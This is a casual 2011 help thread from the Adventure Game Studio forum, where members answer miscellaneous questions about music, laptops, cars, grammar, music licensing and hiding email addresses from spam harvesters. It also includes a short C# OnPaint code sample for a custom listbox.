My question is:  Off the top of your head, have you heard this peice on a film or TV show that I might have seen?

It apparently appears in a Korean drama called 'Windstruck' but that's not where I've heard it.
(can you apparently appear? haha)

Thanks
Title: Re: Ask something - We can help.
Post by: Peder 🚀 on Tue 01/02/2011 14:11:36
Heard it LOADS of times, can't remember any movie names etc though sorry.
Title: Re: Ask something - We can help.
Post by: arj0n on Tue 01/02/2011 14:29:50
Check this: list of movies using Erik Satie Track [92] (http://www.imdb.com/name/nm0006273/filmoyear)
Title: Re: Ask something - We can help.
Post by: Stupot on Tue 01/02/2011 14:56:01
Haha, Arj0n that's epic.
I've definitely seen some of the things on that list and I can also announce that I remember hearing that song on the X-files...  Itch scratched, cheers man.
Title: Re: Ask something - We can help.
Post by: on Tue 01/02/2011 16:10:20
Quote from: Calin Elephantsittingonface on Tue 01/02/2011 06:07:26
The framework is backwards compatible i think, so you should be ok.

Thanks... any idea of a site thats non Microsoft that I can get it from?

Also any idea why the worlds biggest software company can't keep their website up and running? Or is microsoft.com completely defunct now?
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Thu 03/02/2011 13:33:23
Crying for help : http://www.adventuregamestudio.co.uk/yabb/index.php?topic=42746.0
Title: Re: Ask something - We can help.
Post by: Akatosh on Thu 03/02/2011 13:48:42
Quote from: Mods on Tue 01/02/2011 16:10:20
Quote from: Calin Elephantsittingonface on Tue 01/02/2011 06:07:26
The framework is backwards compatible i think, so you should be ok.

Thanks... any idea of a site thats non Microsoft that I can get it from?

Also any idea why the worlds biggest software company can't keep their website up and running? Or is microsoft.com completely defunct now?

http://www.microsoft.com/en/us/default.aspx seems to be up again.
Title: Re: Ask something - We can help.
Post by: Domino on Sat 05/02/2011 23:03:14
I need some HELP!!

I cannot for the life of me find a way to save this Flash video onto my hard drive.

It is my dad's car that he just traded in, and the website has a Flash video of it, and my dad wants to have this video before they remove it when it sells.

I have tried all that I can to be able to retrieve this video and save it to send to him.

http://donreidford.com/cardetails.asp?VIN=JM1NC25F180140978#

The video is in the link provided. I really hope somebody can help me, because I want to make my dad happy. I tried different programs, using special add-ons to firefox, but it won't work.

Thank You to anybody that can help.

Domino
Title: Re: Ask something - We can help.
Post by: Babar on Sat 05/02/2011 23:15:27
The connection keeps timing out for me, so I can't see it, Dom.
I tried checking the google cache of the page, but that doesn't show any flash object.
Title: Re: Ask something - We can help.
Post by: Domino on Sat 05/02/2011 23:30:10
Maybe the link only works in the US.

Glad you at least tried Babar.  :)
Title: Re: Ask something - We can help.
Post by: Akatosh on Sat 05/02/2011 23:39:59
No, it works from Germany.

However, looking at the video and especially the source code of the page*... I'm not sure if this is something you CAN download. As far as I can see, the "movie" is generated from the pictures in the gallery - they're just enlargened and only parts are shown, creating the impression of a "video".

I might be mistaken, though.

(*Specifically, the slightly strange URL to the link. flash/moviegallery.swf?imageinfo=27,80140978,http://www.justcarwebsites.com/~donreidford/,flash/,blank.mp3,flash/background.png looks suspiciously like a general-purpose video generation file taking some arguments.)
Title: Re: Ask something - We can help.
Post by: Domino on Sat 05/02/2011 23:46:34
Yeah, when i was checking the source, it was only showing the images of the car.

Maybe, I should just use my camera to film it, then edit it.

Thanks for at least trying guys. Appreciate it.
Title: Re: Ask something - We can help.
Post by: Akatosh on Sat 05/02/2011 23:50:12
Sorry I couldn't really help.  :-\ In a fit, you could always download the individual images and put a small Flash movie together by hand, or something.
Title: Re: Ask something - We can help.
Post by: zabnat on Sat 05/02/2011 23:53:42
Download some screen recorder tool and record the video with it while displaying the page. Something like camtasia perhaps? I don't have lots of experience with these, I have only used VirtualDub to capture video.
Title: Re: Ask something - We can help.
Post by: Domino on Sun 06/02/2011 01:07:46
Problem solved. I just recorded it with my camera.

Thanks for helping.  :)
Title: Re: Ask something - We can help.
Post by: on Sun 06/02/2011 11:21:17
Do I need to keep all of my receipts?
Title: Re: Ask something - We can help.
Post by: Tuomas on Sun 06/02/2011 16:28:22
No, not all of them.
Title: Re: Ask something - We can help.
Post by: Atelier on Tue 08/02/2011 18:28:17
Why does the moon shrink when you look at it through a camera?
Title: Re: Ask something - We can help.
Post by: Anian on Tue 08/02/2011 18:44:23
Quote from: Atelier on Tue 08/02/2011 18:28:17
Why does the moon shrink when you look at it through a camera?
I think a quote from the pervious anwser would be in order here:

Quote from: Tuomas on Sun 06/02/2011 16:28:22
No, not all of them.
;D
Title: Re: Ask something - We can help.
Post by: (deleted) on Tue 15/02/2011 01:58:41
(deleted)
Title: Re: Ask something - We can help.
Post by: Tuomas on Fri 18/02/2011 11:45:28
Good question.

Dutch is in fact very close to German, well, both are Germanic languages. The difference is, that at one point, when the German language developed so, that certain diphthongs, such as ei, eu, äu were pronounced as differently, where as in Dutch most letters are pronounced the way they're written. The Dutch also have only 2 genders, one for he and she, and one for it, whereas German has der, die & das. There are quite a lot of differences between German and Flemish, but they do look the same. The thing is though, I bet most Germans could easily read a text written in Flemish, they couldn't understand it spoken. There's a funny classic story about this written by Johann Peter Hebel from 1808 called Kannitverstan.

In the story, a German man is in Amsterdam(?) for the first time and can't understand anyone. He finds beautiful, gorgeous things and asks people, who does this belong to. People always answer "kannitverstan", which ist the equivalent of the German "kann nicht verstehen", which means "I don't understand". But he doesn't understand it even though the pronounciation is close - he thinks this Kannitverstan is a happy, rich man who own everything.

Ok, I don't speak German as a native language, I just study Germanic languages, so I can't really say if some people find it easy or hard to understand on another. But I know a lot of Dutch people who speak good German.
Title: Re: Ask something - We can help.
Post by: Tuomas on Fri 18/02/2011 11:52:42
I'm going to double post because I have my own question:

My green audio jack (hole) popped off the motherboard of my laptop. It's just loose there, and rattled for a while, but now nothing works. There's a connection failure (no shit), and it claims, that I have a plug connected to it. That's why it sends the sound into imaginary earplugs and not the laptop speakers. I should believe, that it were possible to just go around the green jack and play everything through the speakers.

They're both controlled by the same driver, so uninstalling the earplug driver didn't help. Yes, I know, I should buy an USB-audio card or something, but for that, I'd have to go a long way, there's no electronics stores in the centre, or the ones there are are dead expensive.

Well, nevertheless, any suggestions how to disable the hole in the front and to use the speakers? I realised this silence is killing me, especially when people keep linking me youtube videos.
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Fri 18/02/2011 13:47:46
Quote from: Atelier on Tue 08/02/2011 18:28:17
Why does the moon shrink when you look at it through a camera?

This is only a hypothesis:
When you watch it with your real eyes, you have a certain angle of vision. That is, you can see the moon and stuff on its right and on its left. However your brain has atendency to igonre that side information.
But the camera takes everything that's within the angle and projects it "as is" onto the picture. Once you see the scene 2D, your brain doesn't filter anything out, and the moon appears as a tiny element part of a wider scene.

Long things shoirt: I don't think it has mainly a geometric cause, I'd say it's more of an information processing illusion caused by your eye/brain.

Then again, I might be wrong, I got this answer from the top of my head.
Title: Re: Ask something - We can help.
Post by: zabnat on Fri 18/02/2011 21:18:14
Quote from: Tuomas on Fri 18/02/2011 11:52:42
My green audio jack (hole) popped off the motherboard of my laptop...
Open it, check if the jack is fixable, probably not, and then take the whole jack out. If the machine says that plug is connected there might be a short circuit or something. This should be fixed when the whole jack is removed from the motherboard. If not, then the short has caused some damage to the board and the only thing left to do is probably getting that USB-audio.

Quote from: Atelier on Tue 08/02/2011 18:28:17
Why does the moon shrink when you look at it through a camera?
Moon also shrinks when it goes up in the sky. When the moon is near the horizon its huge, but when it's directly above its tiny. This is a common illusion and I bet with a camera illusion breaks. See wikipedia about moon illusion. (http://en.wikipedia.org/wiki/Moon_illusion)
Title: Re: Ask something - We can help.
Post by: movti on Sun 20/02/2011 14:28:37
i need your help finding an ags game which was released about 3 to 4 years ago.
generally it was a comedy game. there was a pipe smoking moon and as i remember there was blues music during the game. unfortunately i can't remeber anything else atm but i guess you'll know which one i mean.

think i found it... the long trip
Title: Re: Ask something - We can help.
Post by: on Sun 20/02/2011 16:17:09
Every time I use Hotmail it freezes and I get this error:

QuoteScript: https://js2.wlxrs.com/_D/F$Live.SiteContent.Messenger/4.2.61210/release/Microsoft.Live.Core.LocalStorage.FF.js:39

In Firefox, is there a way to disable this script/all scripts somehow? Thanks
Title: Re: Ask something - We can help.
Post by: Tuomas on Sun 20/02/2011 17:40:23
Quote from: zabnat on Fri 18/02/2011 21:18:14
Quote from: Tuomas on Fri 18/02/2011 11:52:42
My green audio jack (hole) popped off the motherboard of my laptop...
Open it, check if the jack is fixable, probably not, and then take the whole jack out. If the machine says that plug is connected there might be a short circuit or something. This should be fixed when the whole jack is removed from the motherboard. If not, then the short has caused some damage to the board and the only thing left to do is probably getting that USB-audio.

yeah, I opened the whole thing, but realised the jack was under the motherboard, so I couldn't get to it. Soooo... I took my spike and hammered the thing in. The only problem, my HD connection is just right behind it, so I don't want to mess up the whole 'mputer. Anyway, the green stuff and a metal ring fell out of it, all shattered. Sadly it didn't work. But, at least my laptop still works, though now it's got a hole in the front panel.
Title: Re: Ask something - We can help.
Post by: arj0n on Sun 20/02/2011 21:27:28
Quote from: Mods on Sun 20/02/2011 16:17:09
Every time I use Hotmail it freezes and I get this error:

QuoteScript: https://js2.wlxrs.com/_D/F$Live.SiteContent.Messenger/4.2.61210/release/Microsoft.Live.Core.LocalStorage.FF.js:39

In Firefox, is there a way to disable this script/all scripts somehow? Thanks

NoScript (https://addons.mozilla.org/en-US/firefox/addon/noscript/)
Title: Re: Ask something - We can help.
Post by: WHAM on Sun 20/02/2011 21:32:07
Quote from: Tuomas on Sun 20/02/2011 17:40:23
yeah, I opened the whole thing, but realised the jack was under the motherboard, so I couldn't get to it. Soooo... I took my spike and hammered the thing in. The only problem, my HD connection is just right behind it, so I don't want to mess up the whole 'mputer. Anyway, the green stuff and a metal ring fell out of it, all shattered. Sadly it didn't work. But, at least my laptop still works, though now it's got a hole in the front panel.

From my own experience as a Fujitsu Siemens warranty techie, the situation is like this:
You need a new motherboard, which costs a lot of money. If you take it in for warranty, they will most likely state, that the damage is due to "physical damage" and not covered by warranty, as in most cases such damage is caused by having an audio plug connected while transporting the laptop, which causes bending, stress and breaking.

I would recommend disablind the integrated audio chip altogether and getting a separata USB sound "card" if at all possible. Cheapest and easiest solution.

EDIT: Oh, and about the hole: red or black (whichever colour you prefer) electricians tape. Keeps dust out and sticks forever.
Title: Re: Ask something - We can help.
Post by: on Sun 20/02/2011 23:48:08
Quote from: Arj0n on Sun 20/02/2011 21:27:28
Quote from: Mods on Sun 20/02/2011 16:17:09
Every time I use Hotmail it freezes and I get this error:

QuoteScript: https://js2.wlxrs.com/_D/F$Live.SiteContent.Messenger/4.2.61210/release/Microsoft.Live.Core.LocalStorage.FF.js:39

In Firefox, is there a way to disable this script/all scripts somehow? Thanks

NoScript (https://addons.mozilla.org/en-US/firefox/addon/noscript/)

Cheers Arjon!
Title: Re: Ask something - We can help.
Post by: theo on Tue 22/02/2011 11:45:12
The new version of JD will be featuring characters with nice fancy 24 bit alpha transparencies. Being rather frame-heavy, this will most likely leave the game immensely large (mb wise). Is there some easy way of compressing these assets? "Compress the sprite file" yields no results, and I see no point trying to compress them before sticking them into AGS.

edit: to my great relief I just noticed the game compresses beautifully when I zip the whole thing. I guess file size while unzipped isn't really a big issue nowadays so maybe there's no cause for alarm. Any thoughts?
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Tue 22/02/2011 11:50:54
Whats will all the compression questions recently? We've had like 3 in 3 days.

anyway : BAM http://www.adventuregamestudio.co.uk/yabb/index.php?topic=42929.msg570050#msg570050

and BAM http://www.adventuregamestudio.co.uk/yabb/index.php?topic=42849.0

BAM again http://www.adventuregamestudio.co.uk/yabb/index.php?topic=42865.0
Title: Re: Ask something - We can help.
Post by: theo on Tue 22/02/2011 11:56:21
lolz I just did some searching and these came up. I'll try to remember to do my research before asking next time. Thanks:)
Title: Re: Ask something - We can help.
Post by: WHAM on Wed 02/03/2011 15:34:23
What is wrong with my car?

I have a 1999 Peugeot 4D 406 SEDAN 2.0I, which has developed some kind of screeching syndrome.
The engine makes a screeching noise that gets louder as the revs go up. The noise approximately doubles in strength if the steering wheel is turned, and I can feel slight tugging on the wheen as I turn.

Wait, what forum am I on again?

This isn't the peugeot forums!

. . .

Oh well... *click*
Title: Re: Ask something - We can help.
Post by: Tuomas on Wed 02/03/2011 15:41:50
Sounds like you should go and change your timing belt as quick as possible. Though I'm no mechanic, but I can ask my step bro, he's a professional. :)
Title: Re: Ask something - We can help.
Post by: WHAM on Wed 02/03/2011 15:43:27
Quote from: Tuomas on Wed 02/03/2011 15:41:50
Sounds like you should go and change your timing belt as quick as possible. Though I'm no mechanic, but I can ask my step bro, he's a professional. :)

And THAT's what I like about the AGS community. A place for anything and everything! =D
Title: Re: Ask something - We can help.
Post by: mode7 on Wed 02/03/2011 16:37:37
Do you have servo steering? I know little about cars myself but the hint with the steering wheel could mean that it's the pump of the servo steering.
Depends if its really loud so you can hear it from far away it could also be the V-Belt rather than the timing belt. The later would probably very expensive to fix.
Title: Re: Ask something - We can help.
Post by: WHAM on Wed 02/03/2011 17:06:13
I've been reading peugeot forums and the symptom seems to point towards the servo steering. It seems that it may start to leak some oil, or the tubes begin to crack / leak, letting air into the system.

We've been having -30C temperatures for weeks and now we've had -3 to -7C temps for a couple of days, so that may have caused issues as well.

I've also contacted a car repair shop to see if they can take a look at it ASAP.
Title: Re: Ask something - We can help.
Post by: Mati256 on Thu 10/03/2011 00:02:25
Hello!
I am thinking in buying a 500GB External Hard Drive.
I have two options, Hitachi and Samsung. I know Samsung is a well known brand in TV and other stuff, are their HD good to? Hitachi is a lot cheaper.  ;D
Are there any computer geeks with an opinion on this subject?
Title: Re: Ask something - We can help.
Post by: Anian on Thu 10/03/2011 02:00:13
I'm looking at a crossroad in my life and while I want to go study abroad (mostly UK, USA etc.) and the requirement is usually some certificate that rates your knowledge of english language. Mostly it's connected to Cambridge evaluations, and as far as I could figure TOEFL and Cambridge ESOL (CAE and CPE) are the ones that are most wanted/worth. But it seems TOEFL is worth more in universities (at least in Europe) but it lasts for 2 years (why a time limit? I have no idea, probably money and greed) and CAE supposedly goes in a CV and can be used when seeking employment.

So, I'm wondering, if somebody has experience with it, how are CAE certificates generally accepted in UK/USA universities? (you can pm as well)
Title: Re: Ask something - We can help.
Post by: Moresco on Thu 10/03/2011 02:21:01
Quote from: Mati256 on Thu 10/03/2011 00:02:25
Hello!
I am thinking in buying a 500GB External Hard Drive.
I have two options, Hitachi and Samsung. I know Samsung is a well known brand in TV and other stuff, are their HD good to? Hitachi is a lot cheaper.  ;D
Are there any computer geeks with an opinion on this subject?

I think it depends somewhat on the model, but for the most part I would avoid Samsung....and Hitachi if there are any other options?  Otherwise, just as a shot in the dark because they're both pretty much as good, I'd go with Hitachi.  I've had several Samsung drives, all with one sort of problem or another.  If you can find a Western Digital or Seagate, might be better choices.  That's all based on experience with those drives.   Sadly, even the best company will now and then put out a dud.  Do a research on the model number for both drives you are considering.  Google them and you'll get feedback.
Title: Re: Ask something - We can help.
Post by: Dataflashsabot on Sat 12/03/2011 17:46:14
If a sentence of speech begins with an ellipsis, is it correct to capitalise its first letter?
Quote"...maybe not."
or
Quote"...Maybe not."
?
Title: Re: Ask something - We can help.
Post by: on Tue 15/03/2011 02:49:21
If anyone from Mittens spain (benidorm) passes this, can you please remind me what we did when we went to Barcelona. I remember bars, having a stroll, and then I just remember being in a car the next day heading toward Peniscola. Where did we stay in Barcelona? Or did we just walk about all night? This is troubling me. :P
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Tue 15/03/2011 09:09:54
Quote from: Dataflashsabot on Sat 12/03/2011 17:46:14
If a sentence of speech begins with an ellipsis, is it correct to capitalise its first letter?
Quote"...maybe not."
or
Quote"...Maybe not."
?

I couldn't tell for sure in English, but if it's the same as in French, then in theory, you're not supposed to start a sentence with "...". This is some incorrect syntax inherited from the comic books. Having said that, let's accept this form and let's pretend that we don't see the suspension dots. Then it's your regular sentence : "Maybe not." (then again this can be tolerated only in a dialog, as all sentences are supposed to contain a verb, except for a few exceptions).

Since it's a sentence, then yes, you start it with a capital letter.
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Tue 15/03/2011 10:45:56
Quote from: WHAM on Wed 02/03/2011 17:06:13
I've been reading peugeot forums and (...) it seems that it may start to leak some oil. We've been having -30C temperatures for weeks.

HEY! We build our cars to carry around loads of cheese! Not to go out in Siberia! You crazy abominable dude!
Title: Re: Ask something - We can help.
Post by: Wyz on Tue 15/03/2011 12:47:07
Quote from: Dataflashsabot on Sat 12/03/2011 17:46:14
If a sentence of speech begins with an ellipsis, is it correct to capitalise its first letter?
"...maybe not." or "...Maybe not."?

The ellipsis indicated that something has been left out, if you start a sentence with "..." you are telling you've left out the beginning of the sentence. Since this would also have contained the cap you should continue lowercase after the ellipsis.
However, as Mister Ouxx pointed out, sometimes it is used in comic books to indicate a pause, in that case the beginning of the sentence isn't left out so it should start with a cap. Though you could wonder if you should use the ellipsis at all in that case. :P
Title: Re: Ask something - We can help.
Post by: Dataflashsabot on Tue 15/03/2011 19:43:09
Quote from: Ouxxey_games on Tue 15/03/2011 09:09:54
I couldn't tell for sure in English, but if it's the same as in French, then in theory, you're not supposed to start a sentence with "...". This is some incorrect syntax inherited from the comic books. Having said that, let's accept this form and let's pretend that we don't see the suspension dots. Then it's your regular sentence : "Maybe not." (then again this can be tolerated only in a dialog, as all sentences are supposed to contain a verb, except for a few exceptions).

Since it's a sentence, then yes, you start it with a capital letter.

Quote from: Wyz on Tue 15/03/2011 12:47:07

The ellipsis indicated that something has been left out, if you start a sentence with "..." you are telling you've left out the beginning of the sentence. Since this would also have contained the cap you should continue lowercase after the ellipsis.
However, as Mister Ouxx pointed out, sometimes it is used in comic books to indicate a pause, in that case the beginning of the sentence isn't left out so it should start with a cap. Though you could wonder if you should use the ellipsis at all in that case. :P

It's speech for an AGS game, after a character tries something stupid. The ellipsis is indeed there to provide a pause, comic book-style; it's not to imply a prepended 'or'. So from the advice here, it's correct to capitalise, but somehow it 'feels' better without, so I might take some liberty. I dunno. Thanks!
Title: Re: Ask something - We can help.
Post by: on Tue 15/03/2011 21:10:33
[quote author=Dataflashsabot link=topic=36356.msg572469#msg572469
It's speech for an AGS game, after a character tries something stupid. The ellipsis is indeed there to provide a pause, comic book-style; it's not to imply a prepended 'or'. So from the advice here, it's correct to capitalise, but somehow it 'feels' better without, so I might take some liberty. I dunno. Thanks!
[/quote]

Why don't you just get rid of the ellipsis and use a pause ingame. AGS allows that and you'd be grammar compliant!
Title: Re: Ask something - We can help.
Post by: Wyz on Tue 15/03/2011 23:39:42
Yes, AGS is equiped with it actually:
player.Say("..."); will result in a pause.
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Fri 18/03/2011 10:07:22
Seriously, the fact that you choose to write comic-style puts you in a situation OUTSIDE of regular grammar rules. Therefore you may capitalize or not. Your rules.

And maybe in 100 years some linguists will trace back the origins of some very formal capitalization rules from your game :-D
Title: Re: Ask something - We can help.
Post by: Abisso on Fri 18/03/2011 17:10:31
Quote from: Mati256 on Thu 10/03/2011 00:02:25
Hello!
I am thinking in buying a 500GB External Hard Drive.
I have two options, Hitachi and Samsung. I know Samsung is a well known brand in TV and other stuff, are their HD good to? Hitachi is a lot cheaper.  ;D
Are there any computer geeks with an opinion on this subject?

I've had bad experiences with Maxtor which now's been acquired by Seagate, and good experience with Hitachi. I'm neutral towards WD since I've only used my external WD hard disk just a few times, and I've never known Samsung sold hard disks too.

My suggestion is to buy two cheap ones, and regularly mirror them. The only safety is in duplication.

*his mind goes to that time he had to manually rename 60.000 files miraculously recovered from his broken hard disk*
Title: Re: Ask something - We can help.
Post by: zabnat on Sat 19/03/2011 22:47:07
Quote from: Dataflashsabot on Sat 12/03/2011 17:46:14
If a sentence of speech begins with an ellipsis, is it correct to capitalise its first letter?
Quote"...maybe not."
or
Quote"...Maybe not."
?
As others have said there is no proper grammar for it. But I would go with lower case. Because how I see it an ellipsis breaks the sentence therefore when beginning the line with an ellipsis it would be continuation for the previously broken sentence and should be lower case. That is how I see it. I am not a native speaker so this could be just guessing.

Quote from: Abisso on Fri 18/03/2011 17:10:31
My suggestion is to buy two cheap ones, and regularly mirror them. The only safety is in duplication.
Seconded. Hard drives today are so cheap that you can easily afford buying them double for you invaluable files.
Title: Re: Ask something - We can help.
Post by: Moresco on Sun 20/03/2011 02:27:00
Quote from: Abisso on Fri 18/03/2011 17:10:31

*his mind goes to that time he had to manually rename 60.000 files miraculously recovered from his broken hard disk*

60,000?!??! dear god man! I would have given up after 1000 files.
Title: Re: Ask something - We can help.
Post by: Abisso on Sun 20/03/2011 10:49:27
Quote from: Moresco on Sun 20/03/2011 02:27:00
Quote from: Abisso on Fri 18/03/2011 17:10:31

*his mind goes to that time he had to manually rename 60.000 files miraculously recovered from his broken hard disk*

60,000?!??! dear god man! I would have given up after 1000 files.

Well, not exactly 60.000, to be honest. Some of them were automatically restored with their extension too, thanks to a life-saving application. But surely more than 10.000. The event stole my will to create AGS games too (since I was been able to recover game development files just partly), and still, 5 years after the accident, I haven't created anything else.

Back on topic though: my netbook's motherboard battery doesn't work anymore, and at the start, I'm asked to load BIOS default options to go on, which is a bit annoying. Expired batteries are a common event with PCs, and it takes just 5$ + 5 minutes to change it. But in this case, I'd have to open the netbook completely to reach the battery and this is both dangerous for its integrity and time-taking. Question is: other than having to press F2 every time I turn the netbook on, and having a wrong time and date, what are possible extra problems a dead CMOS battery can give?
Title: Re: Ask something - We can help.
Post by: Eggie on Sun 20/03/2011 13:50:46
Ooh... ohh... I have a question! I have a question!

How would I go about asking to license a chunk of The Byrds version of 'Hey, Mr Tambourine Man' for my student film. I've searched forever and I can't find who to talk to, I think the ambiguity stems from it being a cover.
Title: Re: Ask something - We can help.
Post by: Guybrush Nosehair on Sun 20/03/2011 17:20:08
Deleted...
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Sun 20/03/2011 17:49:56
In order to use covers you need to speak to whoever licenses the *recording* not the song.

Dylan may own the song but the song was licensed out to the Byrds which includes a license to sub-license that recording for play at the discretion of the recording owner.

So speak to The Byrds' record label.
Title: Re: Ask something - We can help.
Post by: Guybrush Nosehair on Sun 20/03/2011 18:08:50
Quote from: Calin Leafshade on Sun 20/03/2011 17:49:56
In order to use covers you need to speak to whoever licenses the *recording* not the song.

Dylan may own the song but the song was licensed out to the Byrds which includes a license to sub-license that recording for play at the discretion of the recording owner.

So speak to The Byrds' record label.

Oops... I misread the original post. I was thinking EHCB was asking something entirely different. My mistake.
Title: Re: Ask something - We can help.
Post by: Ali on Mon 21/03/2011 18:17:16
If I have a  .PDF on my website, will email-harvesting web spiders (who'd have thought that would ever become a real thing?) be able to read an email address in it?

I'm sure it's possible, but do they go to the trouble?
Title: Re: Ask something - We can help.
Post by: Gilbert on Tue 22/03/2011 01:34:06
I think this is highly possible, as Google search alone can crawl inside pdf files. To make it a little bit safer, maybe said email portion could be made by using a bitmap picture instead of text (provided you have control over the pdf creation process).
Title: Re: Ask something - We can help.
Post by: TomatoesInTheHead on Tue 22/03/2011 07:23:40
Quote from: Iceboty V7000a on Tue 22/03/2011 01:34:06
I think this is highly possible, as Google search alone can crawl inside pdf files. To make it a little bit safer, maybe said email portion could be made by using a bitmap picture instead of text (provided you have control over the pdf creation process).
If you convert it into a picture, you can make a vector graphic as well (with some "turn text into path" function in a vector graphics program), would look nicer (ideally indistinguishable from normal text) in a pdf.

Or maybe you can use this trick: instead of writing your email address aliisthebest@example.com, write something like aliisthebest@e.x.a.m.p.l.e.com, then give all inserted characters the same color as the background and a font size of 1, or whatever is the smallest possible font size. Any crawler should not be able to distinguish between the visible and invisible characters.
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Tue 22/03/2011 20:36:02
I'm completely new to Microsoft Visual Studio 2010, just downloaded the trial version last night. It actually looks pretty simple to grasp with all the subs and such. I'm assuming it's very similar to c#.

Anyway, I'm wondering how to 'correctly' draw a rectangle? I'm trying to do something similar to the drawing surfaces in AGS. Most of the google searches I find say that if you move a form over the drawn rectangle with the method they show, it will erase it. Then they say the correct method is to use the paint approach, but no one seems to like to show that method. Do any of you know the correct method or a tutorial that I can learn from? Thanks!

Just to go a little off topic, I'm in charge of making work schedules now for almost two dozen employees and the program is so unbelievably horrible and frustrating to use that I'd rather just make my own. I can't set it up to notify me if I don't have a cashier between opening and closing. Or to even have it tell me that the person I'm putting on cash doesn't have training for it. Etc. That's one of the many many things I'll be adding.
Title: Re: Ask something - We can help.
Post by: zabnat on Tue 22/03/2011 20:50:06
Could you clarify what programming language and edition of Visual Studio 2010 you use?
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Tue 22/03/2011 21:00:53
Oh, my apologies, I didn't know there were any differences between any of the VS applications.
In the about section the graphical header says Visual Studio 2010 Ultimate, Version 10.0.30319.1 RTMRel. And when I created a new application I selected "Windows Forms Application".

Or am I still giving the wrong information? :P
Title: Re: Ask something - We can help.
Post by: zabnat on Wed 23/03/2011 07:31:43
Well you can use C++, VB.NET or C# with Visual Studio. I only have used Express editions, but I don't think they differ that much.

I have only used it for C# and am not very good with C++, so I don't know if I'm much help. But I just tried it with C++ and if you just want to draw a rectangle on the form, add a paint event for your form in form designer. Use the example code from MSDN documentation (http://msdn.microsoft.com/en-us/library/c6ksfcek.aspx) inside newly created method for the paint event. Now if you run it you'll have a blue rectangle starting from upper left corner with the size 200x200.
Title: Re: Ask something - We can help.
Post by: Ali on Wed 23/03/2011 13:45:41
Quote from: TomatosInTheHead on Tue 22/03/2011 07:23:40
Quote from: Iceboty V7000a on Tue 22/03/2011 01:34:06
I think this is highly possible, as Google search alone can crawl inside pdf files. To make it a little bit safer, maybe said email portion could be made by using a bitmap picture instead of text (provided you have control over the pdf creation process).
If you convert it into a picture, you can make a vector graphic as well (with some "turn text into path" function in a vector graphics program), would look nicer (ideally indistinguishable from normal text) in a pdf.

Thanks guys... The bitmap technique is what I'm using on the site itself, but it's nice to be able to copy and paste an email address so I didn't want to do the same in the PDF if I didn't have to.
Title: Re: Ask something - We can help.
Post by: cat on Wed 23/03/2011 14:57:17
@Ryan: You can override onpaint of a control and then paint on the graphics. The magic google word is "owner drawn".
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Wed 23/03/2011 15:12:26
also @Ryan:

Heres some example code from nexus to make a custom listbox:


  protected override void OnPaint(PaintEventArgs e)
        {
            if (DesignMode) return;
            HandleOffset();

            Pen p = new Pen(this.ForeColor);
            e.Graphics.Clear(this.BackColor);

            int count = 0;
            foreach (Game g in games)
            {
                if (count == selectedIndex)
                {
                    p.Color = this.selectionColor;
                    e.Graphics.FillRectangle(p.Brush, new Rectangle(margin + 2, count * 52 + 1 - offset + margin, Width - 1, 50));
                }

                p.Color = this.ForeColor;

                e.Graphics.DrawString(g.Title, titleFont, p.Brush, new PointF(55.0f + margin, count * 52.0f + 10.0f - offset + margin));
                e.Graphics.DrawString(g.Status, statusFont, p.Brush, new PointF(55.0f + margin, count * 52.0f + 30.0f - offset + margin));

                p.Color = Color.Black;

                if (g.IconImg != null)
                {
                    e.Graphics.DrawRectangle(p, new Rectangle(2 + margin, count * 52 + 1 - offset + margin, 50, 50));
                    e.Graphics.DrawImage(g.IconImg, new Rectangle(3 + margin, count * 52 + 2 - offset + margin, 48, 48));

                }

                count++;

            }
           
            e.Graphics.DrawRectangle(p, new Rectangle(0, 0, Width - 1, Height - 1));
            base.OnPaint(e);
        }


Edit: A *bad* example... what am i doing with those pens :/
Edit2: That's better.
Title: Re: Ask something - We can help.
Post by: cat on Wed 23/03/2011 15:34:23
Also, you don't need to fiddle with pens, you can use SolidBrush instead.
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Wed 23/03/2011 15:37:49
I don't see the difference.

Am i missing something?
Title: Re: Ask something - We can help.
Post by: cat on Wed 23/03/2011 15:56:59
Not really, but as every method seems to need a brush as a parameter no need for a pen. Nevermind, just saw that DrawRectangle needs a pen.
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Wed 23/03/2011 23:30:17
Right on. Thanks guys. I'll take a look at them when I haven't been drinking. (I'm normally sober... most of the time :P)

Ahh.. Now I see the light. When creating a new project I have the choice between Visual Basic, C#, C++, etc. Hmm. Which one is the best/easiest format for creating a normal windows based program? I imagine Visual Basic?
Title: Re: Ask something - We can help.
Post by: InCreator on Fri 25/03/2011 22:26:08
What was that comedy movie named where bunch of people didn't get into good college so they started their own?
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Fri 25/03/2011 22:55:48
Quote from: Ryan Timothy on Wed 23/03/2011 23:30:17
Ahh.. Now I see the light. When creating a new project I have the choice between Visual Basic, C#, C++, etc. Hmm. Which one is the best/easiest format for creating a normal windows based program? I imagine Visual Basic?

Go C#. Visual basic is so far removed from most, more powerful languages that you end up reinventing the wheel.
Title: Re: Ask something - We can help.
Post by: Anian on Fri 25/03/2011 23:42:44
Quote from: InCreator on Fri 25/03/2011 22:26:08
What was that comedy movie named where bunch of people didn't get into good college so they started their own?
You mean college or fraternity? There's Accepted http://www.imdb.com/title/tt0384793 but their own fraterntiy section has stuff like Old school http://www.imdb.com/title/tt0302886/
Title: Re: Ask something - We can help.
Post by: InCreator on Sat 26/03/2011 12:03:14
Accepted! Thanks.
Title: Re: Ask something - We can help.
Post by: zabnat on Tue 29/03/2011 09:45:11
Quote from: Calin Leafshade on Fri 25/03/2011 22:55:48
Quote from: Ryan Timothy on Wed 23/03/2011 23:30:17
Ahh.. Now I see the light. When creating a new project I have the choice between Visual Basic, C#, C++, etc. Hmm. Which one is the best/easiest format for creating a normal windows based program? I imagine Visual Basic?

Go C#. Visual basic is so far removed from most, more powerful languages that you end up reinventing the wheel.
Seconded. If only because the code will look pretty much the same as the script in AGS (C-like). :)
Title: Re: Ask something - We can help.
Post by: TomatoesInTheHead on Wed 30/03/2011 22:16:42
